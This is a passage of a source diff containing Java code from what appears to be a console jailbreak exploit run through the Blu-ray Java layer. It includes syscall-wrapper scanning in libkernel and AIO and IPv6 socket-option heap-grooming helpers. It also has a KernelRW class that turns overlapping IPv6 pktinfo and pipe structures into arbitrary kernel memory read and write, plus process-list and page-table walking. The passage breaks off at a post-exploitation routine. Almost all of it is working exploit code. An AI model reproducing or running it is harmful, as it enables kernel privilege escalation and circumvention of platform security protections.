|
||||
mib.address(), size.address(),
|
||||
nameBuffer.address(), (long)nameBytes.length);
|
||||
if (result < 0) {
|
||||
throw new RuntimeException("Failed to translate sysctl name to mib: " + name);
|
||||
}
|
||||
|
||||
// Get the actual value
|
||||
resultSize.putLong(0, 8);
|
||||
result = syscall(SYS_SYSCTL, mib.address(), 2L,
|
||||
resultBuf.address(), resultSize.address(), 0L, 0L);
|
||||
if (result < 0) {
|
||||
throw new RuntimeException("Failed to get sysctl value for: " + name);
|
||||
}
|
||||
|
||||
int majorByte = resultBuf.getByte(3) & 0xFF; // Second byte of version data
|
||||
int minorByte = resultBuf.getByte(2) & 0xFF; // First byte of version data
|
||||
|
||||
String majorHex = Integer.toHexString(majorByte);
|
||||
String minorHex = Integer.toHexString(minorByte);
|
||||
if (minorHex.length() == 1) {
|
||||
minorHex = "0" + minorHex;
|
||||
}
|
||||
return majorHex + "." + minorHex;
|
||||
}
|
||||
|
||||
public static boolean isJailbroken() {
|
||||
try {
|
||||
long setuidResult = syscall(SYS_SETUID, 0L);
|
||||
if (setuidResult == 0) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void collectInfo() throws Exception {
|
||||
final int SEGMENTS_OFFSET = 0x160;
|
||||
long sceKernelGetModuleInfoFromAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelGetModuleInfoFromAddr");
|
||||
if (sceKernelGetModuleInfoFromAddr == 0) {
|
||||
throw new RuntimeException("sceKernelGetModuleInfoFromAddr not found");
|
||||
}
|
||||
|
||||
long addrInsideLibkernel = sceKernelGetModuleInfoFromAddr;
|
||||
Buffer modInfo = new Buffer(0x300);
|
||||
|
||||
long ret = api.call(sceKernelGetModuleInfoFromAddr, addrInsideLibkernel, 1, modInfo.address());
|
||||
if (ret != 0) {
|
||||
throw new RuntimeException("sceKernelGetModuleInfoFromAddr() error: 0x" + Long.toHexString(ret));
|
||||
}
|
||||
|
||||
libkernelBase = api.read64(modInfo.address() + SEGMENTS_OFFSET);
|
||||
}
|
||||
|
||||
private static void findSyscallWrappers() {
|
||||
final int TEXT_SIZE = 0x40000;
|
||||
byte[] libkernelText = new byte[TEXT_SIZE];
|
||||
for (int i = 0; i < TEXT_SIZE; i++) {
|
||||
libkernelText[i] = api.read8(libkernelBase + i);
|
||||
}
|
||||
|
||||
for (int i = 0; i <= TEXT_SIZE - 12; i++) {
|
||||
if (libkernelText[i] == 0x48 &&
|
||||
libkernelText[i + 1] == (byte)0xc7 &&
|
||||
libkernelText[i + 2] == (byte)0xc0 &&
|
||||
libkernelText[i + 7] == 0x49 &&
|
||||
libkernelText[i + 8] == (byte)0x89 &&
|
||||
libkernelText[i + 9] == (byte)0xca &&
|
||||
libkernelText[i + 10] == 0x0f &&
|
||||
libkernelText[i + 11] == 0x05) {
|
||||
|
||||
int syscallNum = (libkernelText[i + 3] & 0xFF) |
|
||||
((libkernelText[i + 4] & 0xFF) << 8) |
|
||||
((libkernelText[i + 5] & 0xFF) << 16) |
|
||||
((libkernelText[i + 6] & 0xFF) << 24);
|
||||
|
||||
if (syscallNum >= 0 && syscallNum < syscallWrappers.length) {
|
||||
syscallWrappers[syscallNum] = libkernelBase + i;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Syscall wrappers
|
||||
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4, arg5);
|
||||
}
|
||||
|
||||
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
public static long syscall(int number, long arg0, long arg1, long arg2, long arg3) {
|
||||
return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3);
|
||||
}
|
||||
|
||||
public static long syscall(int number, long arg0, long arg1, long arg2) {
|
||||
return api.call(syscallWrappers[number], arg0, arg1, arg2);
|
||||
}
|
||||
|
||||
public static long syscall(int number, long arg0, long arg1) {
|
||||
return api.call(syscallWrappers[number], arg0, arg1);
|
||||
}
|
||||
|
||||
public static long syscall(int number, long arg0) {
|
||||
return api.call(syscallWrappers[number], arg0);
|
||||
}
|
||||
|
||||
public static long syscall(int number) {
|
||||
return api.call(syscallWrappers[number]);
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
public static short htons(int port) {
|
||||
return (short)(((port << 8) | (port >>> 8)) & 0xFFFF);
|
||||
}
|
||||
|
||||
public static int aton(String ip) {
|
||||
String[] parts = split(ip, "\\.");
|
||||
int a = Integer.parseInt(parts[0]);
|
||||
int b = Integer.parseInt(parts[1]);
|
||||
int c = Integer.parseInt(parts[2]);
|
||||
int d = Integer.parseInt(parts[3]);
|
||||
return (d << 24) | (c << 16) | (b << 8) | a;
|
||||
}
|
||||
|
||||
public static String toHexString(int value, int minWidth) {
|
||||
String hex = Integer.toHexString(value);
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = hex.length(); i < minWidth; i++) {
|
||||
sb.append("0");
|
||||
}
|
||||
sb.append(hex);
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String[] split(String str, String regex) {
|
||||
java.util.Vector parts = new java.util.Vector();
|
||||
int start = 0;
|
||||
int pos = 0;
|
||||
|
||||
while ((pos = str.indexOf(".", start)) != -1) {
|
||||
parts.addElement(str.substring(start, pos));
|
||||
start = pos + 1;
|
||||
}
|
||||
parts.addElement(str.substring(start));
|
||||
|
||||
String[] result = new String[parts.size()];
|
||||
for (int i = 0; i < parts.size(); i++) {
|
||||
result[i] = (String)parts.elementAt(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public static int createUdpSocket() {
|
||||
long result = syscall(SYS_SOCKET, (long)AF_INET6, (long)SOCK_DGRAM, (long)IPPROTO_UDP);
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("new_socket() error: " + result);
|
||||
}
|
||||
return (int)result;
|
||||
}
|
||||
|
||||
public static int createTcpSocket() {
|
||||
long result = syscall(SYS_SOCKET, (long)AF_INET, (long)SOCK_STREAM, 0L);
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("new_tcp_socket() error: " + result);
|
||||
}
|
||||
return (int)result;
|
||||
}
|
||||
|
||||
public static void setSockOpt(int sd, int level, int optname, Buffer optval, int optlen) {
|
||||
long result = syscall(SYS_SETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), (long)optlen);
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("setsockopt() error: " + result);
|
||||
}
|
||||
}
|
||||
|
||||
public static int getSockOpt(int sd, int level, int optname, Buffer optval, int optlen) {
|
||||
Buffer size = new Buffer(8);
|
||||
size.putInt(0, optlen);
|
||||
long result = syscall(SYS_GETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), size.address());
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("getsockopt() error: " + result);
|
||||
}
|
||||
return size.getInt(0);
|
||||
}
|
||||
|
||||
public static int getCurrentCore() {
|
||||
try {
|
||||
Buffer mask = new Buffer(0x10);
|
||||
mask.fill((byte)0);
|
||||
|
||||
long result = syscall(SYS_CPUSET_GETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address());
|
||||
if (result != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
int maskValue = mask.getInt(0);
|
||||
int position = 0;
|
||||
int num = maskValue;
|
||||
|
||||
while (num > 0) {
|
||||
num = num >>> 1;
|
||||
position++;
|
||||
}
|
||||
|
||||
return Math.max(0, position - 1);
|
||||
} catch (Exception e) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean pinToCore(int core) {
|
||||
try {
|
||||
Buffer mask = new Buffer(0x10);
|
||||
mask.fill((byte)0);
|
||||
|
||||
int maskValue = 1 << core;
|
||||
mask.putShort(0, (short)maskValue);
|
||||
|
||||
long result = syscall(SYS_CPUSET_SETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address());
|
||||
return result == 0;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean setRealtimePriority(int priority) {
|
||||
try {
|
||||
Buffer rtprio = new Buffer(0x4);
|
||||
rtprio.putShort(0, (short)RTP_PRIO_REALTIME);
|
||||
rtprio.putShort(2, (short)priority);
|
||||
|
||||
long result = syscall(SYS_RTPRIO_THREAD, (long)RTP_SET, 0L, rtprio.address());
|
||||
return result == 0;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// AIO operations
|
||||
public static Buffer createAioRequests(int numReqs) {
|
||||
Buffer reqs1 = new Buffer(0x28 * numReqs);
|
||||
for (int i = 0; i < numReqs; i++) {
|
||||
reqs1.putInt(i * 0x28 + 0x20, -1); // fd = -1
|
||||
}
|
||||
return reqs1;
|
||||
}
|
||||
|
||||
public static long aioSubmitCmd(int cmd, long reqs, int numReqs, int prio, long ids) {
|
||||
return syscall(SYS_AIO_SUBMIT_CMD, (long)cmd, reqs, (long)numReqs, (long)prio, ids);
|
||||
}
|
||||
|
||||
public static long aioMultiCancel(long ids, int numIds, long states) {
|
||||
return syscall(SYS_AIO_MULTI_CANCEL, ids, (long)numIds, states);
|
||||
}
|
||||
|
||||
public static long aioMultiPoll(long ids, int numIds, long states) {
|
||||
return syscall(SYS_AIO_MULTI_POLL, ids, (long)numIds, states);
|
||||
}
|
||||
|
||||
public static long aioMultiDelete(long ids, int numIds, long states) {
|
||||
return syscall(SYS_AIO_MULTI_DELETE, ids, (long)numIds, states);
|
||||
}
|
||||
|
||||
public static long aioMultiWait(long ids, int numIds, long states, int mode, long timeout) {
|
||||
return syscall(SYS_AIO_MULTI_WAIT, ids, (long)numIds, states, (long)mode, timeout);
|
||||
}
|
||||
|
||||
// Bulk AIO operations
|
||||
public static void cancelAios(long ids, int numIds) {
|
||||
int len = MAX_AIO_IDS;
|
||||
int rem = numIds % len;
|
||||
int numBatches = (numIds - rem) / len;
|
||||
|
||||
for (int i = 0; i < numBatches; i++) {
|
||||
aioMultiCancel(ids + (i * 4 * len), len, AIO_ERRORS.address());
|
||||
}
|
||||
|
||||
if (rem > 0) {
|
||||
aioMultiCancel(ids + (numBatches * 4 * len), rem, AIO_ERRORS.address());
|
||||
}
|
||||
}
|
||||
|
||||
public static void freeAios(long ids, int numIds, boolean doCancel) {
|
||||
int len = MAX_AIO_IDS;
|
||||
int rem = numIds % len;
|
||||
int numBatches = (numIds - rem) / len;
|
||||
|
||||
for (int i = 0; i < numBatches; i++) {
|
||||
long addr = ids + (i * 4 * len);
|
||||
if (doCancel) {
|
||||
aioMultiCancel(addr, len, AIO_ERRORS.address());
|
||||
}
|
||||
aioMultiPoll(addr, len, AIO_ERRORS.address());
|
||||
aioMultiDelete(addr, len, AIO_ERRORS.address());
|
||||
}
|
||||
|
||||
if (rem > 0) {
|
||||
long addr = ids + (numBatches * 4 * len);
|
||||
if (doCancel) {
|
||||
aioMultiCancel(addr, rem, AIO_ERRORS.address());
|
||||
}
|
||||
aioMultiPoll(addr, rem, AIO_ERRORS.address());
|
||||
aioMultiDelete(addr, rem, AIO_ERRORS.address());
|
||||
}
|
||||
}
|
||||
|
||||
public static void freeAios(long ids, int numIds) {
|
||||
freeAios(ids, numIds, true);
|
||||
}
|
||||
|
||||
// IPv6 routing header operations
|
||||
public static int buildRoutingHeader(Buffer buf, int size) {
|
||||
int len = ((size >>> 3) - 1) & (~1);
|
||||
size = (len + 1) << 3;
|
||||
|
||||
buf.putByte(0, (byte)0); // ip6r_nxt
|
||||
buf.putByte(1, (byte)len); // ip6r_len
|
||||
buf.putByte(2, (byte)0); // ip6r_type
|
||||
buf.putByte(3, (byte)(len >>> 1)); // ip6r_segleft
|
||||
|
||||
return size;
|
||||
}
|
||||
|
||||
public static int getRthdr(int sd, Buffer buf, int len) {
|
||||
return getSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
|
||||
}
|
||||
|
||||
public static void setRthdr(int sd, Buffer buf, int len) {
|
||||
setSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
|
||||
}
|
||||
|
||||
public static void freeRthdrs(int[] sds) {
|
||||
for (int i = 0; i < sds.length; i++) {
|
||||
if (sds[i] >= 0) {
|
||||
setSockOpt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, new Buffer(1), 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// EVF operations
|
||||
public static int createEvf(long name, int flags) {
|
||||
long result = syscall(SYS_EVF_CREATE, name, 0L, (long)flags);
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("evf_create() error: " + result);
|
||||
}
|
||||
return (int)result;
|
||||
}
|
||||
|
||||
public static void setEvfFlags(int id, int flags) {
|
||||
long clearResult = syscall(SYS_EVF_CLEAR, (long)id, 0L);
|
||||
if (clearResult == -1) {
|
||||
throw new RuntimeException("evf_clear() error: " + clearResult);
|
||||
}
|
||||
|
||||
long setResult = syscall(SYS_EVF_SET, (long)id, (long)flags);
|
||||
if (setResult == -1) {
|
||||
throw new RuntimeException("evf_set() error: " + setResult);
|
||||
}
|
||||
}
|
||||
|
||||
public static void freeEvf(int id) {
|
||||
long result = syscall(SYS_EVF_DELETE, (long)id);
|
||||
if (result == -1) {
|
||||
throw new RuntimeException("evf_delete() error: " + result);
|
||||
}
|
||||
}
|
||||
|
||||
// Array manipulation helpers
|
||||
public static void removeSocketFromArray(int[] sds, int index) {
|
||||
if (index >= 0 && index < sds.length) {
|
||||
for (int i = index; i < sds.length - 1; i++) {
|
||||
sds[i] = sds[i + 1];
|
||||
}
|
||||
sds[sds.length - 1] = -1;
|
||||
}
|
||||
}
|
||||
|
||||
public static void addSocketToArray(int[] sds, int socket) {
|
||||
for (int i = 0; i < sds.length; i++) {
|
||||
if (sds[i] == -1) {
|
||||
sds[i] = socket;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// String extraction helper
|
||||
public static String extractStringFromBuffer(Buffer buf) {
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = 0; i < 8; i++) {
|
||||
byte b = buf.getByte(i);
|
||||
if (b == 0) break;
|
||||
if (b >= 32 && b <= 126) {
|
||||
sb.append((char)b);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
580
src/org/bdj/external/Kernel.java
vendored
Normal file
580
src/org/bdj/external/Kernel.java
vendored
Normal file
@@ -0,0 +1,580 @@
|
||||
package org.bdj.external;
|
||||
|
||||
import org.bdj.api.*;
|
||||
|
||||
public class Kernel {
|
||||
|
||||
private static API api;
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static class KernelAddresses {
|
||||
public long evfString = 0;
|
||||
public long curproc = 0;
|
||||
public long dataBase = 0;
|
||||
public long curprocFd = 0;
|
||||
public long curprocOfiles = 0;
|
||||
public long insideKdata = 0;
|
||||
public long dmapBase = 0;
|
||||
public long kernelCr3 = 0;
|
||||
public long allproc = 0;
|
||||
public long base = 0;
|
||||
|
||||
public boolean isInitialized() {
|
||||
return curproc != 0 && insideKdata != 0;
|
||||
}
|
||||
|
||||
public void reset() {
|
||||
evfString = 0;
|
||||
curproc = 0;
|
||||
dataBase = 0;
|
||||
curprocFd = 0;
|
||||
curprocOfiles = 0;
|
||||
insideKdata = 0;
|
||||
dmapBase = 0;
|
||||
kernelCr3 = 0;
|
||||
allproc = 0;
|
||||
base = 0;
|
||||
}
|
||||
}
|
||||
|
||||
public static KernelAddresses addr = new KernelAddresses();
|
||||
|
||||
public interface KernelInterface {
|
||||
void copyout(long kaddr, long uaddr, int len);
|
||||
void copyin(long uaddr, long kaddr, int len);
|
||||
void readBuffer(long kaddr, Buffer buf, int len);
|
||||
void writeBuffer(long kaddr, Buffer buf, int len);
|
||||
|
||||
long kread8(long addr);
|
||||
void kwrite8(long addr, long val);
|
||||
int kread32(long addr);
|
||||
void kwrite32(long addr, int val);
|
||||
}
|
||||
|
||||
// Global kernel R/W instance
|
||||
public static KernelInterface kernelRW = null;
|
||||
|
||||
// Kernel read/write primitives
|
||||
public static class KernelRW implements KernelInterface {
|
||||
private int masterSock;
|
||||
private int workerSock;
|
||||
private Buffer masterTargetBuffer;
|
||||
private Buffer slaveBuffer;
|
||||
private long curprocOfiles;
|
||||
|
||||
// Pipe-based kernel R/W
|
||||
private int pipeReadFd = -1;
|
||||
private int pipeWriteFd = -1;
|
||||
private long pipeAddr = 0;
|
||||
private Buffer pipemapBuffer;
|
||||
private Buffer readMem;
|
||||
private boolean pipeInitialized = false;
|
||||
|
||||
public KernelRW(int masterSock, int workerSock, long curprocOfiles) {
|
||||
this.masterSock = masterSock;
|
||||
this.workerSock = workerSock;
|
||||
this.curprocOfiles = curprocOfiles;
|
||||
|
||||
this.masterTargetBuffer = new Buffer(0x14);
|
||||
this.slaveBuffer = new Buffer(0x14);
|
||||
this.pipemapBuffer = new Buffer(0x14);
|
||||
this.readMem = new Buffer(0x1000);
|
||||
}
|
||||
|
||||
public void initializePipeRW() {
|
||||
if (pipeInitialized) return;
|
||||
|
||||
createPipePair();
|
||||
|
||||
if (pipeReadFd > 0 && pipeWriteFd > 0) {
|
||||
pipeAddr = getFdDataAddr(pipeReadFd);
|
||||
if ((pipeAddr >>> 48) == 0xFFFF) {
|
||||
pipeInitialized = true;
|
||||
kernelRW = this;
|
||||
} else {
|
||||
}
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
private void createPipePair() {
|
||||
Buffer fildes = new Buffer(8);
|
||||
long result = Helper.syscall(Helper.SYS_PIPE, fildes.address());
|
||||
if (result == 0) {
|
||||
pipeReadFd = fildes.getInt(0);
|
||||
pipeWriteFd = fildes.getInt(4);
|
||||
}
|
||||
}
|
||||
|
||||
private void ipv6WriteToVictim(long kaddr) {
|
||||
masterTargetBuffer.putLong(0, kaddr);
|
||||
masterTargetBuffer.putLong(8, 0);
|
||||
masterTargetBuffer.putInt(16, 0);
|
||||
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14);
|
||||
}
|
||||
|
||||
private void ipv6KernelRead(long kaddr, Buffer bufferAddr) {
|
||||
ipv6WriteToVictim(kaddr);
|
||||
Helper.getSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14);
|
||||
}
|
||||
|
||||
private void ipv6KernelWrite(long kaddr, Buffer bufferAddr) {
|
||||
ipv6WriteToVictim(kaddr);
|
||||
Helper.setSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14);
|
||||
}
|
||||
|
||||
private long ipv6KernelRead8(long kaddr) {
|
||||
ipv6KernelRead(kaddr, slaveBuffer);
|
||||
return slaveBuffer.getLong(0);
|
||||
}
|
||||
|
||||
private void ipv6KernelWrite8(long kaddr, long val) {
|
||||
slaveBuffer.putLong(0, val);
|
||||
slaveBuffer.putLong(8, 0);
|
||||
slaveBuffer.putInt(16, 0);
|
||||
ipv6KernelWrite(kaddr, slaveBuffer);
|
||||
}
|
||||
|
||||
public void copyout(long kaddr, long uaddr, int len) {
|
||||
pipemapBuffer.putLong(0, 0x4000000040000000L);
|
||||
pipemapBuffer.putLong(8, 0x4000000000000000L);
|
||||
pipemapBuffer.putInt(16, 0);
|
||||
ipv6KernelWrite(pipeAddr, pipemapBuffer);
|
||||
|
||||
pipemapBuffer.putLong(0, kaddr);
|
||||
pipemapBuffer.putLong(8, 0);
|
||||
pipemapBuffer.putInt(16, 0);
|
||||
ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer);
|
||||
|
||||
Helper.syscall(Helper.SYS_READ, (long)pipeReadFd, uaddr, (long)len);
|
||||
}
|
||||
|
||||
public void copyin(long uaddr, long kaddr, int len) {
|
||||
pipemapBuffer.putLong(0, 0);
|
||||
pipemapBuffer.putLong(8, 0x4000000000000000L);
|
||||
pipemapBuffer.putInt(16, 0);
|
||||
ipv6KernelWrite(pipeAddr, pipemapBuffer);
|
||||
|
||||
pipemapBuffer.putLong(0, kaddr);
|
||||
pipemapBuffer.putLong(8, 0);
|
||||
pipemapBuffer.putInt(16, 0);
|
||||
ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer);
|
||||
|
||||
Helper.syscall(Helper.SYS_WRITE, (long)pipeWriteFd, uaddr, (long)len);
|
||||
}
|
||||
|
||||
public void readBuffer(long kaddr, Buffer buf, int len) {
|
||||
Buffer mem = readMem;
|
||||
copyout(kaddr, mem.address(), len);
|
||||
for (int i = 0; i < len; i++) {
|
||||
buf.putByte(i, mem.getByte(i));
|
||||
}
|
||||
}
|
||||
|
||||
public void writeBuffer(long kaddr, Buffer buf, int len) {
|
||||
copyin(buf.address(), kaddr, len);
|
||||
}
|
||||
|
||||
public long getFdDataAddr(int sock) {
|
||||
long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES;
|
||||
long fileAddr = ipv6KernelRead8(filedescentAddr + 0x0);
|
||||
return ipv6KernelRead8(fileAddr + 0x0);
|
||||
}
|
||||
|
||||
public long getSockPktopts(int sock) {
|
||||
long fdData = getFdDataAddr(sock);
|
||||
long pcb = ipv6KernelRead8(fdData + KernelOffset.SO_PCB);
|
||||
return ipv6KernelRead8(pcb + KernelOffset.INPCB_PKTOPTS);
|
||||
}
|
||||
|
||||
// Setup pktinfo overlap for fast R/W
|
||||
public void setupPktinfo(long workerPktopts) {
|
||||
masterTargetBuffer.putLong(0, workerPktopts + 0x10);
|
||||
masterTargetBuffer.putLong(8, 0);
|
||||
masterTargetBuffer.putInt(16, 0);
|
||||
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14);
|
||||
|
||||
// Initialize pipes immediately
|
||||
initializePipeRW();
|
||||
}
|
||||
|
||||
public long kread8(long addr) {
|
||||
Buffer buf = new Buffer(8);
|
||||
readBuffer(addr, buf, 8);
|
||||
return buf.getLong(0);
|
||||
}
|
||||
|
||||
public void kwrite8(long addr, long val) {
|
||||
Buffer buf = new Buffer(8);
|
||||
buf.putLong(0, val);
|
||||
writeBuffer(addr, buf, 8);
|
||||
}
|
||||
|
||||
public int kread32(long addr) {
|
||||
Buffer buf = new Buffer(4);
|
||||
readBuffer(addr, buf, 4);
|
||||
return buf.getInt(0);
|
||||
}
|
||||
|
||||
public void kwrite32(long addr, int val) {
|
||||
Buffer buf = new Buffer(4);
|
||||
buf.putInt(0, val);
|
||||
writeBuffer(addr, buf, 4);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static String readNullTerminatedString(long kaddr) {
|
||||
if (!isKernelRWAvailable()) {
|
||||
return "";
|
||||
}
|
||||
|
||||
StringBuffer sb = new StringBuffer();
|
||||
|
||||
while (sb.length() < 1000) {
|
||||
long value = kernelRW.kread8(kaddr);
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
byte b = (byte)((value >>> (i * 8)) & 0xFF);
|
||||
if (b == 0) {
|
||||
return sb.toString();
|
||||
}
|
||||
if (b >= 32 && b <= 126) {
|
||||
sb.append((char)(b & 0xFF));
|
||||
} else {
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
|
||||
kaddr += 8;
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static long slowKread8(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, long addr) {
|
||||
int len = 8;
|
||||
int offset = 0;
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
readBuf.putByte(i, (byte)0);
|
||||
}
|
||||
|
||||
while (offset < len) {
|
||||
pktinfo.putLong(8, addr + offset);
|
||||
Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, pktinfo, pktinfoLen);
|
||||
|
||||
Buffer tempBuf = new Buffer(len - offset);
|
||||
int n = Helper.getSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_NEXTHOP, tempBuf, len - offset);
|
||||
|
||||
if (n == 0) {
|
||||
readBuf.putByte(offset, (byte)0);
|
||||
offset++;
|
||||
} else {
|
||||
for (int i = 0; i < n; i++) {
|
||||
readBuf.putByte(offset + i, tempBuf.getByte(i));
|
||||
}
|
||||
offset += n;
|
||||
}
|
||||
}
|
||||
|
||||
return readBuf.getLong(0);
|
||||
}
|
||||
|
||||
public static long getFdDataAddrSlow(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, int sock, long curprocOfiles) {
|
||||
long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES;
|
||||
long fileAddr = slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, filedescentAddr + 0x0);
|
||||
return slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, fileAddr + 0x0);
|
||||
}
|
||||
|
||||
public static long findProcByName(String name) {
|
||||
if (!isKernelRWAvailable()) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
long proc = kernelRW.kread8(addr.allproc);
|
||||
int count = 0;
|
||||
|
||||
while (proc != 0 && count < 100) {
|
||||
String procName = readNullTerminatedString(proc + KernelOffset.PROC_COMM);
|
||||
if (name.equals(procName)) {
|
||||
return proc;
|
||||
}
|
||||
proc = kernelRW.kread8(proc + 0x0);
|
||||
count++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static long findProcByPid(int pid) {
|
||||
if (!isKernelRWAvailable()) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
long proc = kernelRW.kread8(addr.allproc);
|
||||
int count = 0;
|
||||
|
||||
while (proc != 0 && count < 100) {
|
||||
int procPid = kernelRW.kread32(proc + KernelOffset.PROC_PID);
|
||||
if (procPid == pid) {
|
||||
return proc;
|
||||
}
|
||||
proc = kernelRW.kread8(proc + 0x0);
|
||||
count++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static long getProcCr3(long proc) {
|
||||
long vmspace = kernelRW.kread8(proc + KernelOffset.PROC_VM_SPACE);
|
||||
long pmapStore = kernelRW.kread8(vmspace + KernelOffset.VMSPACE_VM_PMAP);
|
||||
return kernelRW.kread8(pmapStore + KernelOffset.PMAP_CR3);
|
||||
}
|
||||
|
||||
public static long virtToPhys(long virtAddr, long cr3) {
|
||||
if (cr3 == 0) {
|
||||
cr3 = addr.kernelCr3;
|
||||
}
|
||||
return cpuWalkPt(cr3, virtAddr);
|
||||
}
|
||||
|
||||
public static long physToDmap(long physAddr) {
|
||||
return addr.dmapBase + physAddr;
|
||||
}
|
||||
|
||||
// CPU page table walking
|
||||
private static final long CPU_PG_PHYS_FRAME = 0x000ffffffffff000L;
|
||||
private static final long CPU_PG_PS_FRAME = 0x000fffffffe00000L;
|
||||
|
||||
private static int cpuPdeField(long pde, String field) {
|
||||
int shift = 0;
|
||||
int mask = 0;
|
||||
|
||||
if ("PRESENT".equals(field)) { shift = 0; mask = 1; }
|
||||
else if ("RW".equals(field)) { shift = 1; mask = 1; }
|
||||
else if ("USER".equals(field)) { shift = 2; mask = 1; }
|
||||
else if ("PS".equals(field)) { shift = 7; mask = 1; }
|
||||
else if ("EXECUTE_DISABLE".equals(field)) { shift = 63; mask = 1; }
|
||||
|
||||
return (int)((pde >>> shift) & mask);
|
||||
}
|
||||
|
||||
public static long cpuWalkPt(long cr3, long vaddr) {
|
||||
long pml4eIndex = (vaddr >>> 39) & 0x1ff;
|
||||
long pdpeIndex = (vaddr >>> 30) & 0x1ff;
|
||||
long pdeIndex = (vaddr >>> 21) & 0x1ff;
|
||||
long pteIndex = (vaddr >>> 12) & 0x1ff;
|
||||
|
||||
// pml4
|
||||
long pml4e = kernelRW.kread8(physToDmap(cr3) + pml4eIndex * 8);
|
||||
if (cpuPdeField(pml4e, "PRESENT") != 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// pdp
|
||||
long pdpBasePa = pml4e & CPU_PG_PHYS_FRAME;
|
||||
long pdpeVa = physToDmap(pdpBasePa) + pdpeIndex * 8;
|
||||
long pdpe = kernelRW.kread8(pdpeVa);
|
||||
|
||||
if (cpuPdeField(pdpe, "PRESENT") != 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// pd
|
||||
long pdBasePa = pdpe & CPU_PG_PHYS_FRAME;
|
||||
long pdeVa = physToDmap(pdBasePa) + pdeIndex * 8;
|
||||
long pde = kernelRW.kread8(pdeVa);
|
||||
|
||||
if (cpuPdeField(pde, "PRESENT") != 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// large page
|
||||
if (cpuPdeField(pde, "PS") == 1) {
|
||||
return (pde & CPU_PG_PS_FRAME) | (vaddr & 0x1fffff);
|
||||
}
|
||||
|
||||
// pt
|
||||
long ptBasePa = pde & CPU_PG_PHYS_FRAME;
|
||||
long pteVa = physToDmap(ptBasePa) + pteIndex * 8;
|
||||
long pte = kernelRW.kread8(pteVa);
|
||||
|
||||
if (cpuPdeField(pte, "PRESENT") != 1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (pte & CPU_PG_PHYS_FRAME) | (vaddr & 0x3fff);
|
||||
}
|
||||
|
||||
public static boolean postExploitationPS4() {
|
||||
|
||||
if (addr.curproc == 0 || addr.insideKdata == 0) {
|
